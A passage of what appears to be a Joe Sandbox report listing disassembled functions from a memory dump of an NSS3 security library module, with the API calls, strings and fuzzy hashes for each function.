Function 6C654FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C65502A
PR_NewLock.NSS3(00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C655034
PL_NewHashTable.NSS3(00000000,6C6AFE80,6C6AFD30,6C6FC350,00000000,00000000,00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C655055
PL_NewHashTable.NSS3(00000000,6C6AFE80,6C6AFD30,6C6FC350,00000000,00000000,?,00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C65506D

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 657b7862050c67390604c55c5e761525ef831130b41578b44c200cb070fcf3ba
Instruction ID: ee6e71a34298829745ec6e91d28c914b236e885fa2d0bb1f24da0190ea055af9
Opcode Fuzzy Hash: 657b7862050c67390604c55c5e761525ef831130b41578b44c200cb070fcf3ba
Instruction Fuzzy Hash: F331D0B1B03214ABEF109EA58C4CF4B3AB8EB13388F754135EA0993A40D3759815CBED

Function 6C5F2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C5F2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C5F3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5F30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F3178

Strings

database corruption, xrefs: 6C5F316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F3022, 6C5F3156, 6C5F3162, 6C5F318A, 6C5F3196, 6C5F31A2, 6C5F31AE, 6C5F31BA, 6C5F31C6
%s at line %d of [%.10s], xrefs: 6C5F3171

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: f209f4f267df034bb0c6e3f1f2d3620019c51563013d68106f2847a441859bb6
Instruction ID: d1b011660477391cc7a9f5b0f0bbebeb8affa978236d4a80e2e58842c69b1bfd
Opcode Fuzzy Hash: f209f4f267df034bb0c6e3f1f2d3620019c51563013d68106f2847a441859bb6
Instruction Fuzzy Hash: 7CB18EB0E052199BEB08CF9DCC85AEEB7B1BF48304F14442AE855B7B41D7749942CFA5

Function 6C642D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C642D69

Strings

vl, xrefs: 6C642DD0
@vl, xrefs: 6C642E24
winTruncate1, xrefs: 6C642EBE
winSeekFile, xrefs: 6C642E9C
winTruncate2, xrefs: 6C642EF8
winUnmapfile1, xrefs: 6C642F55
winUnmapfile2, xrefs: 6C642F7F
Pvl, xrefs: 6C642E74, 6C642EC5, 6C642F32, 6C642F5C

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __allrem
String ID: @vl$Pvl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$vl
API String ID: 2933888876-684076108
Opcode ID: 17f7980f34df5fe855fe4c4724e94b77a5d109bdf74fb81ff03301fe246680fd
Instruction ID: 80ab5f505efdc68576e666db2f6006c06c34b1435f198a07b7743e7e67104344
Opcode Fuzzy Hash: 17f7980f34df5fe855fe4c4724e94b77a5d109bdf74fb81ff03301fe246680fd
Instruction Fuzzy Hash: CA61AE71A002099FDB04CF68DC98AAA7BB1FF49314F20C139E915DB780EB31AD16CB94

Function 6C6C7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C6C7FB2

Part of subcall function 6C64BA40: TlsGetValue.KERNEL32 ref: 6C64BA51
Part of subcall function 6C64BA40: TlsGetValue.KERNEL32 ref: 6C64BA6B
Part of subcall function 6C64BA40: EnterCriticalSection.KERNEL32 ref: 6C64BA83
Part of subcall function 6C64BA40: TlsGetValue.KERNEL32 ref: 6C64BAA1
Part of subcall function 6C64BA40: _PR_MD_UNLOCK.NSS3 ref: 6C64BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C6C7FD4

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C6C9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C6C9466

PR_ExitMonitor.NSS3(?), ref: 6C6C801B
PR_EnterMonitor.NSS3(?), ref: 6C6C8034
TlsGetValue.KERNEL32 ref: 6C6C80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6C80C0
PR_ExitMonitor.NSS3(?), ref: 6C6C811C
PR_ExitMonitor.NSS3(?), ref: 6C6C8134

Strings

), xrefs: 6C6C80DB

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 14a6dde32ba494b548dab941bcad77118a5c59aca526259f625f2a448708f61a
Instruction ID: 218d4211d2806e0fdeb91b600e32244ead8b7be79a6ea467aff5cc16473bec5b
Opcode Fuzzy Hash: 14a6dde32ba494b548dab941bcad77118a5c59aca526259f625f2a448708f61a
Instruction Fuzzy Hash: 03511071B047059AE7209F35DC04BEB77F0EF5A30CF08452AD95942A62EB31A909C69F

Function 6C66FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C66FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C66FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C66FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C66FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C66FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C66FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C66FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C66FD84

Strings

:, xrefs: 6C66FD78

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 8695da660f851be156a88b45b8b83a1e4dbb0741b0341d369457b6ea31133a53
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 2331B1B69002159BEB008AA6DD097AFB7E8EF45358F150134DD14A7F00E772E918C7EB

Function 6C650F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C650F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C650F84

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C66F59B,6C77890C,?), ref: 6C650FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C650FC1

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C650FDB
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C650FEF
PL_FreeArenaPool.NSS3(?), ref: 6C651001
PL_FinishArenaPool.NSS3(?), ref: 6C651009

Strings

security, xrefs: 6C650F5C

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: a433b45c742e488d2a6df581c2e326a8701be74dd1531833b9f5cb554e98013b
Instruction ID: 2f33a5cedb1597c5d48c7ea9df9e61b681385f2f1f7db252b210df549799a561
Opcode Fuzzy Hash: a433b45c742e488d2a6df581c2e326a8701be74dd1531833b9f5cb554e98013b
Instruction Fuzzy Hash: 3B21F7B1904204ABE7109F25DD40EABB7B4EF4525CF148518FC1897601F731D965CBA6

Function 6C656DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C657D8F,6C657D8F,?,?), ref: 6C656DC8

Part of subcall function 6C6AFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C6AFE08
Part of subcall function 6C6AFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C6AFE1D
Part of subcall function 6C6AFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C6AFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C657D8F,?,?), ref: 6C656DD5

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FA0,00000000,?,?,?,?,6C657D8F,?,?), ref: 6C656DF7

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C656E35

Part of subcall function 6C6AFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C6AFE29
Part of subcall function 6C6AFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C6AFE3D
Part of subcall function 6C6AFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C6AFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C656E4C

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FE0,00000000), ref: 6C656E82

Part of subcall function 6C656AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C65B21D,00000000,00000000,6C65B219,?,6C656BFB,00000000,?,00000000,00000000,?,?,?,6C65B21D), ref: 6C656B01
Part of subcall function 6C656AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C656B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C656F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C656F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FE0,00000000), ref: 6C656F6B
PR_SetError.NSS3(FFFFE005,00000000,6C657D8F,?,?), ref: 6C656FE1

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 559510ebaea87afb963f465e8f7bc70f1fd3d7dcc70dc9d207186dbce87f4748
Instruction ID: 954080093538478ea8aa8c816fb3a002fcd3cdbe785f486965df41281d5e056a
Opcode Fuzzy Hash: 559510ebaea87afb963f465e8f7bc70f1fd3d7dcc70dc9d207186dbce87f4748
Instruction Fuzzy Hash: D971C471E102469FEB00CF55CD40BAABBA5FF95308F654229E808D7B11F731EAA5CB94

Function 6C690FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C691057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C691085
PK11_GetAllTokens.NSS3 ref: 6C6910B1
free.MOZGLUE(?), ref: 6C691107
PR_SetError.NSS3(00000000,00000000), ref: 6C691172
free.MOZGLUE(?), ref: 6C691182
free.MOZGLUE(?), ref: 6C6911A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6911C5

Part of subcall function 6C6952C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001), ref: 6C6952DF
Part of subcall function 6C6952C0: EnterCriticalSection.KERNEL32(?), ref: 6C6952F3
Part of subcall function 6C6952C0: PR_Unlock.NSS3(?), ref: 6C695358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6911D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6911F3

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 1bc08763ea044f039ee64c84b7db9da5741b7d54031a55be5b23d1de1edf8f9c
Instruction ID: d3ab3c2114e30ecdde700b60d2a5752555544179803c2334b1a50a5d0e0518d9
Opcode Fuzzy Hash: 1bc08763ea044f039ee64c84b7db9da5741b7d54031a55be5b23d1de1edf8f9c
Instruction Fuzzy Hash: D061B8B0E043469BEB00DFA4DC45BAEB7B9BF05348F244168EC19AB741EB31D944CB59

Function 6C69ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE10
EnterCriticalSection.KERNEL32(?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C67D079,00000000,00000001), ref: 6C69AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE7F
TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEF1
free.MOZGLUE(6C67CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C67CDBB,?), ref: 6C69AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AF30

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 7d070ac6818285caa09de712b2d8941891f45d729627f49e504059afdae77fe9
Instruction ID: fad65b32663147227c57ded8a907e7b1eb6ab56e4576f81340de2afdef39f978
Opcode Fuzzy Hash: 7d070ac6818285caa09de712b2d8941891f45d729627f49e504059afdae77fe9
Instruction Fuzzy Hash: 57517CB1E00602AFDB019F29D884B6AB7F4BF09318F144664E81997E12E731E865DBD9

Function 6C674CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C67AB7F,?,00000000,?), ref: 6C674CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C67AB7F,?,00000000,?), ref: 6C674CC8
TlsGetValue.KERNEL32(?,6C67AB7F,?,00000000,?), ref: 6C674CE0
EnterCriticalSection.KERNEL32(?,?,6C67AB7F,?,00000000,?), ref: 6C674CF4
PL_HashTableLookup.NSS3(?,?,?,6C67AB7F,?,00000000,?), ref: 6C674D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C674D10

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C674D26

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C674D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C674DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C674E02

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 55f748033a2460254c9c3886040c91f4b96c07b6ca0c8f4cfbf9de7e7d90cbf9
Instruction ID: b98aa23e3d75ae641c1431bfecfe0f21bd859e319d41df9a30f74412226c3a0c
Opcode Fuzzy Hash: 55f748033a2460254c9c3886040c91f4b96c07b6ca0c8f4cfbf9de7e7d90cbf9
Instruction Fuzzy Hash: D241C5B5900201ABEB109F65EC44A6A77E9AF0635DF044570EC18C7B12FB71E914CFAA

Function 6C65BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65BFFB

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C65C015

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C65C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C65C04D

Part of subcall function 6C6A69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6A6A47
Part of subcall function 6C6A69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C6A6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C65C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C65C07B

Part of subcall function 6C658980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C657310), ref: 6C6589B8
Part of subcall function 6C658980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C657310), ref: 6C6589E6
Part of subcall function 6C658980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C658A00
Part of subcall function 6C658980: CERT_CopyRDN.NSS3(00000004,00000000,6C657310,?,?,00000004,?), ref: 6C658A1B
Part of subcall function 6C658980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C658A74

